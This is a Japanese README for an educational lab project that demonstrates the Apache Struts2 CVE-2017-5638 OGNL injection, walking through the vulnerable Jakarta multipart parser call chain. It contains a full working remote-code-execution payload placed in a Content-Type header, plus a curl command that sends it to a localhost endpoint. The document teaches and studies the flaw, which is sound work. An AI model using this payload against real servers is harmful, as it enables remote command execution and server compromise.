
Struts2アプリケーションはCVE-2017-5638に対して脆弱です。OGNLおよびJakartaMultiPartパーサーに関連して、脆弱性の悪用がどのように機能するかを説明します。
これは教育および研究目的のみに使用されるものです。このプロジェクトの内容や情報の違法または非倫理的な使用を許可または推奨するものではありません。
Webアプリを実行するには:
コマンド送信にはコマンドラインエミュレータ (Send.jar) プロジェクト を使用:
空のURLのデフォルトは http://localhost:8080/MSCybersecurity/exploit です。/exploit エンドポイントにいる必要があります

このソースを変更したい場合、プロジェクトはMavenビルドシステムを使用しています:
NVD CVE-2017-5638
この脆弱性の巧妙な点は、OGNL(Object Graph Navigation Library)を悪用する点です。
OGNLは式を使用してタスクを実行します。許可されている式のうち2つは、フレームワーク内の任意のクラスを呼び出す機能と、イベントを連鎖させる機能です。参考ガイド OGNL言語ガイド
例えば、OGNLを使用して edu.uvu.ms.cybersecurity.Command オブジェクトをインスタンス化することが可能です
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
edu.uvu.ms.cybersecurity.Command クラス
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
または、より実用的には、java.lang.ProcessBuilderクラスを呼び出してシステムレベルのコマンドを実行できます
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
次のペイロードには、edu.uvu.ms.cybersecurity.Commandを呼び出してサーバーに発行されたコマンドをコンソールに出力し、その後コマンドを実行するコマンドが含まれています(イベントの連鎖とクラスの呼び出しを示すため)。
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
CURLでペイロードを送信
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
このペイロードの一部は Rapid7 GitHub から取得しました
Jakarta MultiPart パーサー:
問題は、パーサーがContent-Typeヘッダーの受信値をエスケープしない点です。つまり、OGNL式をContent-Headerに埋め込むことができます。ヘッダーがMultiPartであると判断されると、OgnlTextParser.classに送られ、OGNL式を解釈し、その結果任意のコマンドが実行されます。
以下は、この脆弱性がどのように悪用されるかを段階的に示したものです。
Struts2 ディスパッチャー: org.apache.struts2.dispatcher.Dispatcher
Struts Dispatcher.classはリクエストを受け取り、JakartaMultiPartライブラリで処理すべきと判断し、MultiPartRequestWrapper() コンストラクタを呼び出します

Content-TypeヘッダーのOGNL式は、parse() メソッドに渡されます。ヘッダー情報が不正なため、パーサーは例外を発生させ、buildErrorMessage() メソッドを呼び出します

buildErrorMessage() メソッドはユーザーに返す適切なエラーメッセージを探そうとしますが、そのためにはLocalizedTextUtil.classのfindText() メソッドを使用する必要があります。

LocalizedTextUtil.classのfindTextメソッドは、getDefaultMessage() を呼び出し、Content-Type情報を渡します

getDefaultMessage() メッセージは次にTextParseUtil.classのtranslateVariables() メソッドに委譲します

TextParseUtil.classのtranslateVariables() メソッドはOgnlTextParser.classのevaluateメソッドに委譲します

その結果、すべてのOGNL式が実行されます
